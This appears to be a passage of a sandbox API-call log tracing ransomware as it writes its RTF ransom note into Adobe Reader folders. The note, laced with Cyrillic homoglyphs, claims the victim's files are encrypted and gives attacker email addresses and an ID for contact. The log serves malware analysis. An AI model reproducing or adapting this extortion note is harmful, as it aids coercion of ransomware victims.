r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n\x0f\x05\x0e\x8d\x1d¡øý\x03ø×=\n?\x06û\x1d÷A÷C÷+\x05Ø\\\x1dûN1\x03\x09", lpUsedDefaultChar=0x0) returned 14086 [0041.896] WriteFile (in: hFile=0x168, lpBuffer=0x2763ff8*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0041.897] CloseHandle (hObject=0x168) returned 1 [0041.897] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\Services\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\services\\!bwng_info!.rtf")) returned 0xffffffff [0041.897] GetLastError () returned 0x2 [0041.898] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\Services\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\services\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0041.906] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n 